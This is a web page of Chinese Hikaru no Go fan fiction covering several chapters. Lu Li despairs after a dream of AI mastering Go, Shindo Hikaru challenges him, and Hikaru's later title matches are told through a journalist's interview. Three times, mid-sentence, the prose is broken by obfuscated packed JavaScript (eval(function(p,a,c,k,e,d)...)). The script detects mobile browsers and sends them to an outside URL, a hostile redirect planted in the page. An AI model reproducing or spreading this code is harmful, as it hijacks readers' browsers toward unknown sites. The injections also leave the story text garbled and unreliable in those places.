“这是他解压的办法。天天练棋,又苦又累,又没盼头。北京很繁华,但只有真正有钱有权的人才能开心。大概是因为心理压力?他升上四段后突然一蹶不振、对下棋越来越没信心,后来有阵子都几乎不参加比赛了。” 被人们寄予厚望的天才选手毫无理由地自暴自弃,的确令人费解。天才的世界或许有他们自己的烦恼吧。对此,记者尝试接受这个事实。她是为了倾听才来到此处的。 少年走着走着,停在一颗法桐树下。 花池护栏旁有组石头桌椅,桌面上刻着简单的十九路盘,正适合用来下围棋。 少年的眸子深了下去。 “那年春天,杨叔从日本叫来了两个小棋手,安排他们来棋院学习交流,就住我爸的宿舍。我爸本来就在瓶颈期,也不知道为什么,一听说来的是日本人,那几天就故意不去棋院,整天垮着个脸,死活不理人,只偶尔去公园找大爷们虐菜发泄,杨叔都被他吓坏了,还以为他是祖上跟日本鬼子有仇才闹脾气呢。” 记者笑了起来,“公园大爷们现在可以好好吹一壶了,当年和棋圣交过手,哈哈。不过,陆老师和那两个日本小棋手不对付,到底是什么?” “嗯,最初是为什么我也不知道,但他们就是在这里下了一盘棋,然后我爸就变了。我也是看日记推测出来的,我爸那么要面子的人,不可能承认自己输给比他小三岁的日本棋手,还是惨败。” 记者的镜头凑得更近了,摄像机定焦在少年的脸上,讲述者勾起了聆听者的好奇心。 “这我可来兴趣了。那个日本小棋手的名字叫什么?” “嗯……”少年顿了顿,似乎不想这么快揭开悬念,“您猜猜?” “哎呀,你可别卖关子了!这我哪能猜得到,稍微给点提示嘛。” 她的眉毛都急得快翘上天了。 在镜头中,黑发少年深吸一口气,神清气爽地望向头顶湛蓝无云的天空,只属于北京的、透明的天空。 “提示……我想想,八年前,他的名字可是无人不知、无人不晓喔。” “在日本?” “不,在全世界。” 与话语相称一般,少年的视线焦点渐渐远去。 2000年的初春,北京城尚未醒来。默默无闻的年轻棋手陆力也是。 自从“那次”事件以来,他已经浑浑噩噩快一年了,再这样下去,棋院可能会劝退他,但他还是时常缺席棋赛,宁愿泡在网吧下网棋也不去正经对弈。原本他就是看上去容易丧气的长相,厌世般的黑框眼镜,长到遮住眼角的头发,再颓废起来,整个人的存在感都像透明胶一样微薄。今天吃早饭时,新来的乐平说那个日本来的小棋手险胜了方九段、还在满棋院找高段棋手对局,换成往常的他可能早就主动去挑战了,可现在,他还是无动于衷。 这天他也照例无视了杨海的电话,偷偷溜到天坛公园,没见过的大爷招呼他支两招,他才面无表情地坐到那方简陋的石头棋盘前。 一局终了,自然是陆力赢得铺天盖地。毫无悬念。反正他怎么下都能赢,多少胡来点也无所谓。 只不过,这次多出一位不请自来的观战者。 “诶……好新颖的下法哦。” 来自头顶的声音让双眼无神的陆力充满警惕地抬起头。是没见过的脸孔。不,也不全是。他勒令自己忽略那张脸,却因这句意料之外的异国语言而眉头紧皱。 “……日本人?”陆力问。 居然在说日语!原来他还会讲外国话吗? 那个看上去与自己年龄相仿的少年见他听懂了,瞬间露出欣喜的微笑:“对,我叫进藤光。从日本来学习的。杨海先生的朋友。” 高调的金色挑染的头发,黑黄色的套头衫,双手插兜的随意姿态,矮矮的个头,怎么看都惹人烦躁。 陆力挪开视线,语速也快了起来:“你下棋就去棋院,来这有何贵干。” “我找你啊!陆力,你不是中国棋院最受期待的天才四段吗?都两周了,我还一次你的对局都没见着,其他棋院里的高手我都挑战过一圈了!到底怎么回事,莫非你是故意躲着我?” “……没有。” “我以前跟你有什么过节吗?他们说,呃,是因为中国人都讨厌日本人。如果是因为这个,我郑重道歉,毕竟我们的先辈做了很过分的事。” “不是因为那个。” “那是因为什么?” “因为下得再好也没用。” 陆力冷冰冰地给出了一个让进藤光意想不到的回答。 “啊?”光直接愣在原地。 在他疑惑的目光中,陆力推了推眼镜架,叹了口气,语气愈加冷淡得像一条死鱼。 “人下得再好,也赢不了AI。最强的职业棋手面对算法,也毫无胜算。早晚都是必败之局,还有继续死磕下去的必要吗。” “……你说AI?!” 光还是不敢相信,那个两年后在北斗杯担任中国主将的陆力会说出这种话。确实,杨海六段也曾经说过,围棋的尽头不是靠棋手来发现的,而是电脑,但那是“憧憬未来的乐天派”的畅想,说出那番话时,杨海快乐又自信,和眼前这个燃尽了希望、了无生趣的木头人不一样。 ——陆力刚才的口吻,就像围棋真的被判了死刑一样。 此时此刻,进藤光的心中猛然诞生了一个大胆的想法,这个想法异常疯狂、甚至有些超现实,但却是他能想出来的唯一合理的解释。 于是他坐在对面的石头凳子上,等周围的老人都走远了,才在陆力开始收拾棋子前突然发问:“陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他只是抱着反正也不会如何的心态,随意地提起这个话题,如果对方不理会,那就当是一时胡言乱语搪塞过去。没想到这家伙居然直接说起了更不可思议的设定。 他是认真在讲这些吗?从十年后跳回十年前?! 也是,进藤光的名字他之前也有听说过,13岁的年纪,却能下得跟九段高手旗鼓相当,而且一年前甚至根本没人知道他在下棋,这突然冒出的巨大名气让中国棋坛也倍感压力。他们都说进藤光是千年难遇的紫微星,恐怕日本国内都没第二个能复刻这种神话的年轻人。就算是塔矢亮也做不到。 要是他平白多出十年时间,就可以解释了。 唔,看陆力半天反应不过来的表情,好像和自己的情况并不一样。 光有点遗憾,但也正常,一般人哪能有这种奇遇。 他挠了挠后脑勺,对陆力话中的秘密兴趣不减,倘若陆力不是从未来穿越回来的,又为什么能断言AI可以下过人类?想到这里,他的语速也逐渐加快了: “但你说的是AI能轻松战胜人类的未来吧?十年后电脑还没那么厉害,那应该是多少年后,三十年?五十年?一百年?” 真亏这对话能进行下去。 陆力阴沉着脸,大脑也开始有点运转过速了。不过,那本来就是真实发生在他身上的事。 “……二十年。”他坦白承认了事实,“我在梦里见到的,是2024年的应氏杯决赛现场。” 光的脸颊因兴奋而微微泛红。 他瞪大了双眼,似乎比起惊愕,更多的是憧憬。 “唔哇!二十年!等一下,那我岂不是都三十三岁了?完全就是大叔了嘛。难怪刚才你下的好几手我都从没见过,敢情是二十年后的套路啊,不过,AI能下过顶尖职业,也就意味着新的定式会出现,说不定这些定式都是从AI的棋谱里学过来的……想想就好激动!你能不能多摆几种AI的下法给我看?” 怎、怎么回事,这人的反应……一般人第一时间都会怀疑他脑子有问题才对,可进藤光不仅全盘接受,还对“人类绝对下不赢AI”的时代充满期待?! 他真的是以下棋为生的人?难道他不明白这意味着什么吗?! 107.Chapter 106. 二十年后的约定 AI彻底封锁了围棋竞技的上限。 人下不过AI,所以职业棋手全都在模仿AI的套路,每下一步,解说栏都会出现AI计算的双方胜率,复盘也在用AI,虽然那时所有人都默默接受了这一事实,仿佛AI本来就只是帮助人类精进棋艺的工具,但那一刻,突然出现在成年身躯内的陆力还是无法相信自己的眼睛。 他们所坚信的、不可逾越的临界点,竟然早在2016年就结束了。 即使主持人介绍他时提到他曾获得多次国内外冠军,他也一点喜悦之情都感觉不到。 少年陆力忽然觉得梦想没那么重要了。 所谓的神之一手,他下不出来。 那继续当职业棋手还有何意义? 从梦中苏醒后,陆力便性情大变,不再积极备战棋赛。他强迫自己在棋盘前坐下,但思考时就无论如何也摆脱不了沉重的枷锁,无形的锁链随时都在提醒自己——他是在进行一场必败的博弈。即使现在赢了,将来也赢了,总有一天也会被看不见的敌人打败,最后习以为常到麻木。 没意思。 天才总是孤高的。他从小就明白自己很特别,并一直以此为荣。但这份特别,在AI面前什么都不是。 陆力最后也只能深呼吸,将这份失落藏在心底。 他不想继续这段谈话了。 “我只在那边停留了一天,抱歉,没法记那么多棋谱。” “也是,不好意思,是我太兴奋了。”进藤光立刻道了歉,但他还有很多别的话想说,让随时想站起来的陆力坐立不安,“稍等一下!二十年后……我可以问个别的问题吗?二十年后的塔矢……不对,你现在还不认识他啊,那你知不知道,二十年后最厉害的日本棋手是谁?” 其实这只是个不太重要的问题。但也不知为何,光就是很想知道答案。 二十年后的未来,是比他体验过的时间线更久远的未来,他最想知道的就是佐为是否还在自己身边,但这个疑问不可能问看不到幽灵的陆力。那么,他第二想知道的,就是关于一生劲敌的消息。 二十年后日本最厉害的棋手,是谁? 没想到,陆力很顺畅地给出了回答。 “塔矢亮是吧,我记得这个名字。他当时就坐在应氏杯决赛的位置上。” 光直接大喊出声:“你知道他!” 陆力淡淡地看了他一眼,像在说“别大惊小怪”。 “当然,三十三岁还能拿世界冠军,拿的还是最有分量的应氏杯,在场所有人都惊呆了,我怎么可能忘得掉那个画面。” 围棋国手都是十五岁壮年、二十岁就快过巅峰,年轻人才是世界比赛的常客,三十三岁的塔矢亮出现在一众青年棋手之间,的确刺眼。更令人难以置信的是他居然还一直闯进了决赛、击败了年仅十九岁的世界排名第一的中国对手。结果揭晓的瞬间,全场掌声雷动。 听到这番话的进藤光就像那时的陆力一样震撼。 那家伙,从以前就很爱打破众人的预期啊。 北斗杯时,塔矢亮也是凭借那股“既然进藤可能会赢,自己就绝不能输”的气概、连胜两局,彻底掀翻了中韩两国对日本棋手的偏见。 “塔矢……” 光的心情突然变得很复杂。 陆力想起什么似的转了转眼珠,“说来也奇怪,我只是在梦里去了未来,并没有这二十年间的记忆,不过,塔矢似乎认识我,还主动找我用中文搭话。” ——那当然啦,毕竟你们是在首届北斗杯就激烈交战过的关系。 光没有将这些说出口。他继续追问:“你们都说了什么?” “他赢了棋,忙着应付采访,只是客套了几句。采访的内容我倒是还有点印象。记者问他,时隔多年拿到世界冠军的奖杯,他心中最想击败的下一个对手是谁。” “然后呢?” 光忍不住吞了口唾沫。 他的紧张一览无余。 佐为也悬着一颗心,等待着陆力的回答。 陆力回想起那天在梦中见到的画面。 即使拿到被誉为围棋奥林匹克的应氏杯冠军,塔矢的神态依然沉着冷静,他的目光仿佛只为向前而生,高傲,而极为理想化,犹如一只一鸣惊人的鹤。 “——我最想击败的对手,自始至终都是同一个人。” 台上的亮没有指名道姓。 但台下的观众大都知道他说的是谁。证据就是,站在陆力边上的仓田厚略显懊恼地抓了抓头发,叹息一声。 “果然是进藤。” 陆力的思绪回到2000年的当下。 他定定地望着光,重复了一遍那个读音。 “进藤。旁边的人念叨了你的名字,这就是我能记住你名字发音的原因。” 轰—— 明明是熟悉得不能再熟悉的两个字,明明是几乎与他无关的陌生人,明明是平静得不能再平静的语气,但那一刻,一种很想流泪的感觉瞬间冲上鼻尖,拦都拦不住。糟糕,光连忙掩饰地拿手掌擦了擦脸,下意识错开视线,挤出一个客气的微笑。 “……是吗。”他的声音十分轻柔,像在喃喃自语,“塔矢他……这么说了啊。” 佐为充满欣慰地看着面前的少年。他们的心意是相通的,不论过去,未来,还是现在。 “你一直被他记在心里呢,小光。” 直到二十年后,两人依旧是密不可分的对手。佐为惊讶于小光会因此差点流泪,但他十分理解,曾将塔矢亮作为目标追逐了十三年的小光得到未来的劲敌认可的心情。跨越了漫长时间的对话,仿佛就在面前发生。 光却使劲摇摇头,“他记在心里的也许不只是我。也是你啊,佐为。” “我?”佐为略显疑惑。 “曾经他以为你就是我嘛。” 光的笑容里藏着小小的狡黠。联想起他曾说过的关于过去的故事,佐为似乎明白了这句话的深意,谁叫小光和塔矢都是秀策的忠实粉丝呢。 好像有点庆幸,又好像有点难过。 进藤光的沉默在陆力看来纯粹就是在走神。看来这小子也遭受了不小的打击,也是,信仰崩塌的瞬间,正常人都会说不出话的。 “后悔知道未来了吗?”陆力浑身散发出的垂头丧气的气质越来越浓郁了,“怎么努力都没用,你放弃吧。人能下出的围棋是有极限的,就算是你和塔矢亮,20年后也通通都是AI的手下败将。如果你硬是想走职业这条路,就只别把它当做梦想,只当成一份工作就好。寄希望于不可能的梦想只会徒增痛苦而已。” 他本意是想劝进藤光也看开点。围棋没有那么重要,天下第一没有那么重要,战胜AI没有那么重要,认识到天花板的存在,接受现实,这样想就不会受伤了。 可对方却毫不领情。 “不,你错了。”光信誓旦旦地看着他。 “……” “痛苦?怎么会呢,我反而更期盼那一天了。”光的语调越来越轻快,好似在说起秋日阳光下的一场远足,“竞技运动的本质在于拓宽人的极限,如果能帮忙做到这一点的是机器,那也正好。就结果而言,二十年后大家的下法是越来越多样了,对吧?这就意味着还有无数的可能性等着我去发掘,我还能下出更好、更好、更好的棋,你不觉得……这样反而有意思得多吗?” 那无限膨胀的热情仿佛可以吞噬天空,不断凑近的脸孔也是。 陆力一时无言以对。 他是笨蛋吗? 单纯得不像个心智成熟的人。还说自己是从未来穿越过来的,骗人的吧。根本就是少年心气。 “——而且!塔矢还在等着我!二十年后都在等着我!”光的眼瞳里闪烁着某种陆力从未见过的光芒,毫不夸张,这时的他就是在闪闪发光,炫目得叫陆力下意识在寒风中眯起了眼,“他可是我必须击败的对手,我也必须好好回应他的期待才行。要是我轻而易举就说什么放弃围棋,那家伙绝对会大发雷霆的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578343|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 果然又是因为塔矢。 佐为松了口气。看来是刚才陆力提到塔矢,给小光施加了额外的信心和干劲呢。 一般的职业棋手,听到自己决意毕生为之奋斗的目标被AI提前实现的话,一定不免会沮丧吧。没什么比一个永远无法战胜的敌人更恐怖了。而且今后也无人再能战胜它。陆力的锐气,在洞察这份恐惧后钝化成了自我保护的龟壳,缩在里面不愿出来。这也很正常。但是……小光不一样,比起恐惧,他率先感受到的,是无限宽广的未来——以及在那未来中,与他并肩的人们的身影。 神之一手,他是会下出来的。 和佐为,和塔矢,和更多不断探究棋道极致的棋手一起。他没有放弃的借口。 忽然想到什么似的,佐为疑惑地飘到光身边,小声问:“小光,陆力说的未来,是你和我分别之后的未来吗?还是我们重新相遇的这个未来?” “我也不清楚。不过,哪一种都好。” 光看出了佐为的不安。也许佐为是在担心吧。不过,不管是陷入瓶颈的进藤七段的未来,还是打破日本围棋历史的天才新星进藤四段的未来,都无所谓。塔矢亮念念不忘的到底是哪条世界线上的他,都无所谓。 哪一个他都是真正的他。 他要做的,只是下好面前的每一局棋而已。 仅此而已。 他是为了连接起遥远的过去和遥远的未来,才会继续下棋的。北斗杯一战高永夏后,怀着不甘的泪水重新振作起来的自己心中有且仅有这一个念头。 光握紧了手中的折扇。 现在,“过去”的佐为就站在自己身旁,“未来”的塔矢亮在等待他追上。 那么他…… “我们要上了哦,佐为!” 光对身后的幽灵抛出一个高高的抛接球,而后“啪”地一声把装满棋子的塑料棋盒放在棋盘一侧,打开盒盖,对面前的中国棋手高声宣战,“陆力,跟我下一局吧!” 陆力满眼都是不悦。“我?和你?为什么?” 滋啦。 一种危险的苗头正在冲破土壤的冰冻层,呼唤初春的阳光。 他压抑着那束幼苗。 光伸手替他拨开了厚厚的泥土。 “我不想勉强你,如果下完这局你还是打算放弃围棋,我也尊重你的选择,但是就当为了让我死心,跟我好好下一局吧,我想见识见识未来的棋路。你都说到那种地步了,我在意得在意得浑身难受得不行,要是不满足我,我可是没办法死心回日本的!茶不思饭不想!天天都打电话纠缠你!” 这个人…… “你听不懂人话吗?我已经不打算认真下棋了。” 陆力站起身扭头就走。杂乱的黑发挡住他的眼睛,让人无法第一时间判断他真实的表情。但光还是立刻用更大的嗓音喊住了他。 “骗子!我看你刚刚和大叔下指导棋也很认真啊。不纯是炫技,也没在虐菜,是真正想教给对方东西的下法,不尊重围棋的人是不可能下出那种棋的。” “那是——你的错觉。” “之前在网上下出那几局神奇盘面的也是你吧。连着一个月向sai发起对局申请的不也是你吗。你到底要对自己说谎到什么地步才肯罢休?Loong?” 陆力已经往前走了几步,听到自己的小秘密被揭穿,他立刻加快了步子。 又涨红着脸气呼呼地冲了回来。 “……你为什么知道我账号?!” “而且你都为了能跟我们交流,特意学了日语不是嘛。哪来的那么多借口,下吧,陆力。” 光笑眯眯地替他也打开了棋盒,真有趣,中国的棋子都是一面凸的,方便放置和复盘,摸到这些棋子的时候,他会有种格外清晰的、身处异乡的陌生感,却又能深刻意识到,他和他们,其实在血脉深处紧密相连。 陆力透过眼睛死死盯着光的笑脸。 云层不断抬升。 ●○●○ 108.Chapter 107. 连接过去与未来(I) 天坛的风迎面吹来香椿的气息,记者听得一愣一愣的,一会儿期待,一会儿紧张,一会儿热切,简直就像在听村头卖艺人讲的志怪评书。最后,她用拇指贴住了脸颊。 “……还有这种事?所以,陆棋圣是因为那天惨败给了他,于是就激起了斗志、一下子杀进了全国八强?好热血的故事,我都出了一身汗了。那那那之后呢?之后这俩人又怎么样了?” “你看这个。” 黑发少年慢条斯理地递给她一张照片。 是一堆泛黄的、标注过许多手写小字的棋谱。 少年接着说:“他俩成了笔友,时不时就用邮件联系,有些棋谱记录我爸还特意打印了出来,都珍藏在抽屉里,虽然没写人名,但一眼就能看出下棋的人是谁,那时候这位日本友人就已经是很强的天赋型棋手了,棋风非常老练,只是看着有点古人的味道。” 记者接过照片,埋怨道:“陆老师也真是的,这么好的故事,从不跟人说,少写了多少篇公众号。然后呢?” “再之后的事,我想你也应该听说过了。” “再之后?” “八年前,这位日本友人扬名天下的事迹。” 记者眨了眨眼,思考片刻后,猛然抬起头:“啊、你是指……2016年的夏天?!” 少年缓缓点头。 “是的。进藤光作为人类棋手代表,和Alpha GO进行最后的五番棋。被认为是AI真正意义上战胜人类的象征。” Alpha GO! 听到这里,记者一拍大腿根,懊恼不已,她怎么现在才反应过来! “果然就是他!那个大名鼎鼎的进藤光!我没猜错!”出于职业素养,她拼命忍住了当众尖叫出声的冲动,绕着银杏树小跑了三圈,才不断摇摆着双手,重新冷静下来,“我记得是输了四局、赢了一局对吧?这件事都破圈了,就算是完全不下棋的人都知道,真没想到陆老师和进藤光那么早以前就是老相识了……” “嗯,都怪我爸从不当着其他人的面聊这些。但是,要说起进藤光,最有传奇色彩的,还不是他和AI的对弈。” 记者的眼珠子都快瞪出来了:“这还不够传奇?都够写进人类历史教科书了!” “哈哈,我是指对职业棋手来说啦。AI下赢人类当然是从零到一的突破,可我们私下更爱讨论的,是另外一个‘看不见’的棋手。”少年笑起来时也像在对弈,颇有些思辨的美感。 “看不见的棋手……啊!”这次记者终于赶在他主动相告之前猜到了真相,“莫非是……传说中的sai?!” 少年的嘴角弯得更深了。 “刘小姐果然知道他。” “怎么可能不知道!他可是所有围棋人的必修课!就连我这个业余5段每次在网上下棋都能看到关于他的帖子!”她直接破音了。 sai,只出现在网络上的神秘围棋高手,自从1999年首次成名以来,便一直是职业棋手们热衷挑战的唯一对象。由于sai的100%胜率过于惊人,一度被许多人曲解为围棋网站故意打造的虚假身份,其实是一群世界级高手公用的同一个账号,但他过于纯粹的棋风,又打破了这个谣言。谁都无法战胜的sai成了经久不息的都市传说。 围绕sai是谁的问题,网友们乐此不疲地挖掘着真相,奇怪的是,对方的信息加密防御措施做得滴水不漏,完全查不到一丝一毫的线索(托久原木子郎的福)。他们唯一知道的,就是sai的本名是“藤原佐为”,以及日本著名的六冠王进藤光是sai的弟子,这两件事而已。 网络棋神sai渐渐变成了某种象征。只要能下赢他,就意味着下赢了全世界的顶尖职业棋士。 挑战络绎不绝,导致想申请对局都要持续在电脑前蹲点。 再后来,由于想和sai对弈的人实在太多,围棋网站不得不出面限制申请的人数和段位,甚至还需要抽签取号才有机会和他下上一局,预约都排到十年后了。 最终应运而生的就是围棋网站牵头、日本棋院合作举办的那场赛事—— 网络棋神挑战赛。 ●○●○ 让我们先把时间的罗盘往更早些时候拨动。 2000年初夏,从北京归国的进藤光带着在中国迎战无数高手的杀伐经历破茧成蝶,突破8人循环赛,最终坐在本因坊决赛的座位上,由他掀起的小小风暴也随之扩大。 胜负局是在七个地点先后举行的,作为仪式感极强、历史又最为悠久的的头衔战之一,本因坊是无数棋手的梦中之梦,对光而言,这个梦的意义又比他们都大得多。大阪,仙台,福冈,札幌,广岛,因岛,以及最后一战的东京总本部幽玄之间,下到第七局时,进藤光与桑原仁已各胜三局,战况格外胶着。 新入段的棋手第一年就能挑战本因坊,他开创的是前无古人后无来者的历史记录。 赢下最后一局的人,就能戴上王冠。 不是你死,就是我活。 头衔战的时间按理说十分充裕,有足足九个小时,但这依旧不够让桑原屡屡陷入长考,连岩名九段都感慨“从没见过桑原老师被逼到这种地步”,看来在他强装镇定的表象下,内心的焦躁远比外界预想的更严重。 时间一分一秒过去,中间一度封棋过夜,棋手要承担的心理压力只增不减。一连三天东京都持续着炎热的酷暑,蝉鸣此起彼伏,叫人很难集中精力。第三天,从中国默默回东京观战的塔矢行洋没和任何人打招呼,径直来到直播棋局大盘讲解的皇家花园酒店,一言不发地盯着大屏幕,塔矢亮就坐在第一排,父子俩却不约而同地选择了避开交流。这一局对进藤光的意义实在过于沉重,亮也心知肚明,眼下的他比自己下棋还要紧张,根本无暇顾及外界的任何声响。 “桑原老师是在故意施压吗……” 布局阶段过于求稳的桑原,在遭到进藤光力求破局的小飞攻击时,立刻选择了最无后顾之忧的跨断反击,直接拉入贴身肉搏战。但白棋如此自信,反倒给了执黑的进藤光做活的机会。亮紧皱眉头,不敢喘气。 这说明,至少桑原认为进藤光是用正常手段无法战胜的对手。所以他才会表现得假装游刃有余。 在桑原的压迫下,光好几手都下得十分憋屈,然而以他眼观八方的谋略,早早就为自己准备好了后路,随时都可以置之死地而后生。 光的神情始终没有变化。 换作以前,他可能会对每一手过度解读、患得患失,毕竟这是决定生死的决胜局。但今天,他整个人散发出和平的气场,似乎对一次两次的胜负已经不再执着。 他相信自己的棋。相信佐为教给他的棋。相信这些年的努力不是白费。 那么他只要去下就好了。 啪—— 亮双眼一亮。 先是一手凶狠凌厉的切断,而后跟着一手大逆不道的猴贴!唯一的绝妙手段让他找到了!除此之外走任何其他路径都只会让黑棋走向崩溃!但是!他找到了! “哇啊啊啊啊啊——干得漂亮啊臭小鬼!” 最后的逆转之手落下棋盘的瞬间,听着收音机的河合激动得双手锤在方向盘上,“滴滴”,刺耳的鸣笛声吓得前方的出租车司机骂骂咧咧了好几句,可他半点也没在意,甚至笑脸相迎,反手给摇下车窗的对方来了个激情拥抱——现在的他只是全身心地为这13岁少年取得的胜利而欣喜不已。 一想到这小子经常出没在自己去的围棋道场,河合就忍不住老泪纵横,果然没错!第一次见面的时候他就确信那个不讲礼貌的臭小鬼不是池中之物!他做到了!他本身就是传奇! “啊……” 佐为愣愣地望着眼前的棋盘,恍若隔世。 小光……赢了…… 他附身于虎次郎时,曾经被誉为本因坊,但其实并未真正继承老师的名号、虎次郎就英年早逝,所以佐为一直并未拥有“本因坊”的实感。然而今天,小光却把他未能拿到的胜利,通过自己的双手,紧紧攥在手心。 幽玄深奥,从刚劲有力的笔锋之间流露出的,正是那永不认输的锋芒。 “——恭喜你,进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆力也重新振作,赢下了首届中国围甲的前八强,虽然在四强赛里遭到方八段淘汰,但也借此得到了围棋界的广泛关注。许多人都认为,他是可以在未来与进藤光抗衡的人物之一。 至于塔矢亮,几个月以来,他也不断在各个头衔的循环赛中磨砺身手,以无法估量的速度拼命成长着,很难说下次二人碰头时谁能取得胜利。作为新入段的棋手,亮抽空参加了幼狮赛,在那里与赢到最后的越智康介进行了一次对局。 结果是,亮中盘胜。 输棋的越智爆发出了平生最不甘的怒火。作为想要变强的证明,光结束了麻烦的采访后,走到楼下,马上与等候在这里的越智碰了面。 越智一见到他,马上恭恭敬敬地弯下腰:“进藤老师,之后的三个月,请您多多指教了。” 哇!那么死爱面子的越智居然对他鞠躬!就算是演的也很恐怖了!光总觉得这个世界的哪里有点设定错乱。他下意识后退了一步,“好、好不习惯哦,你居然叫我老师。” “仅限这三个月而已。” 他应该是特意过来看自己的棋赛的。光心里还有点莫名的爽快,看出他心思不纯的久原清了清嗓子,等他们走出棋院,才抱怨道:“真没想到你会接下怎么没挑战性的工作!我都说了可以拒绝的!教院生这种小事就应该交给普通的新初段来做才对……对你的成长又没帮助。” “可是,他说他想超越塔矢嘛。就忍不住想帮他一把咯。” “你怎么这么没有危机感!” “很有趣嘛。” “哪里有趣了?!就那个死鱼眼西瓜头?!” 久原当然不能理解光的小小执念。毕竟上辈子他在职业考试和越智决一死战的时候,满脑子想的也是借超越越智来向塔矢亮宣战而已。 如光所预料的那般,这一年,越智康介、和谷义高、门胁龙彦三人成功考上职业新初段,向着前方的进藤光塔矢亮二人奋起直追。 ●○●○ 109.Chapter 108. 连接过去与未来(II) 时间的沙漏继续推进。 2001年暮春5月5日,名人战决赛,进藤光如愿以偿遇到了他期待已久的另一位对手。 “……绪方先生。” 光踏入对局用的房间时,绪方精次正在不紧不慢地擦拭着眼镜片。决赛是在有马当地一家有名的温泉庄进行的,透过窗子,能直接眺望远方山花满开的山丘,但二人均无赏花的兴致。 在这场战斗中,再柔和的花瓣也会被杀伐之气粉碎吧。 绪方头也不抬,语气仿佛在挑衅。 “最近势头不错嘛,进藤。” 在研究会的时候他们经常交手,对彼此的套路都烂熟于心了。但真到了争夺头衔的这一天,很难说是继承了恩师志向的绪方更紧张,还是身为挑战者的进藤光更紧张。 光握紧了折扇。 “我一直……想好好和您下一局。” 不是快棋,也不是研究会的讨论,而是正正经经在生死边缘决一死战。 他想看到最有杀意的绪方。 最好是刀锋能直接割断自己脖子的那种杀意。 光对这一局的执着也是有原因的。他重回过去已经两年了,而佐为正是在这一年的5月4日,在酒店房间匆忙与绪方下完了最后一局棋,翌日就在光的房间里消失无影了。如果命运真的无法抗衡,说不定今天,佐为就会又一次不告而别…… 站在光的角度,他无论如何都想代替佐为得到绪方100%认真的回应。 绪方感到了莫名的压力。 “过去的一年,我对你失望过。”他将眼镜重新戴回鼻梁上,往上方推了一厘米,冷冽得像绝对零度的小行星,“虽然以你的年龄而言,你有这种程度的棋力已经算是天才中的天才,可我总觉得……还是第一次对弈时的你更叫人胆战心惊。” 第一次对弈……吗…… 光微微张开了嘴唇,又合上了嘴唇。似曾相识的对话他应该在哪里听过。 于是他露出了无比灿烂的微笑。 “其实……我也是这样认为的!” 那一局是佐为和绪方下的。一如上一世门胁对他迟疑着说出的评价那般,他们都间接证明着佐为曾来到这个世界,那是无比让光欣慰的认可。不过,为了接近那个“更叫人胆战心惊”的目标,他也在时刻不停地努力着。不遗余力。 绪方被他的回答弄迷糊了。但棋是不会说谎的。一旦开战,绪方就不得不再次清晰地认知到这一事实—— 幼小的雏鸟,不知不觉就成长为了咆哮的巨龙。 他是想证明现在的自己比那时的自己更强吗?为什么?为什么会有如此执着的念头? 火焰几乎灼伤了绪方的眼睛,他屡次无法直视棋盘,明明那只是幻觉,却叫人莫名感到滚烫。 平生初次,尽管他潜意识里不想承认,绪方感到了心生退意的本能。 开什么玩笑!他可是稳居二十代棋手巅峰的第一人!自从塔矢名人隐退后,理应无人能阻拦他的锋芒!平心而论,绪方对自己的棋艺有绝对的信心,总擅长以刁钻难解的“手术刀”给对手看似完整的防线来上一刀、庖丁解牛般将对手大卸八块,这样锐利的自己,何来退意之说! 绪方夹起白棋,力争将局势拖入激战。仿佛是为了掩盖那一瞬的退意,他加倍猛烈地杀入中腹,简直就在对黑棋宣战:放马过来! 你冲得进来,也逃不出去。 上他的钩,就只有一死! 然而,棋局进行得越深,他眼中的光线就越浑浊。 “绪方老师面对进藤总是很着急。明明赛程上来说,是养精蓄锐的绪方老师比较占优势……”讨论间内的仓田都看不懂了,不过他纠结了两秒,就摆出了“如梦似幻”的眯眯眼,“是这样吗,他也感受到进藤的威胁了吗,今天的绪方老师才最有趣!好好吓吓他!进藤!吓得他以后再也不敢玩塔矢名人那套!爱冒险的棋手我最爱了!好!允许你在我的扇子上签名!” 一旁的新初段和谷吐槽道:“这就表白上了……仓田老师完全忘掉自己才刚刚输给进藤了……” 吐槽归吐槽,那棋盘上的一举一动,还是镇得和谷几乎无法顺畅呼吸。 进藤不愧是天才,冲配合挖,直接把白棋的右边整个打穿,就像巨锤狠狠砸碎了敌军牢不可破的城墙。曾以为决战会在城门进行的守军根本来不及做出反应,好一招声东击西。 如此一来,白棋只能舍生搏命了。黑棋也不是毫无弱点,如果白棋放弃劫争、走沉稳路线,也许还有胜负逆转的机会。 机会……真的有这个机会吗? 心乱如麻的不仅是观战者,棋手自身更是夹在思考的缝隙里,艰难平衡着每一步取舍。时间不算充裕,缠绕攻击会加大计算的难度,一旦听任直觉下出随意手、胜负就会在那里揭晓,再无转圜余地。但是……这小子!竟然如此贪婪! 就算能赢7目也要争8目9目10目,他不仅要赢,更要尽可能多地赢!这一刻的进藤似乎在如此威胁。 真正的杀人诛心! 贪棋是围棋的大忌。这是塔矢行洋无数次教导过他们的道理。但到了现在,这个道理在绝对的实力差距面前,竟显得如此单薄无力,犹如一片暮秋的枯叶飘落于地。 直到闪光灯亮起时,绪方依旧保持一言不发的坐姿,紧紧盯着棋盘。 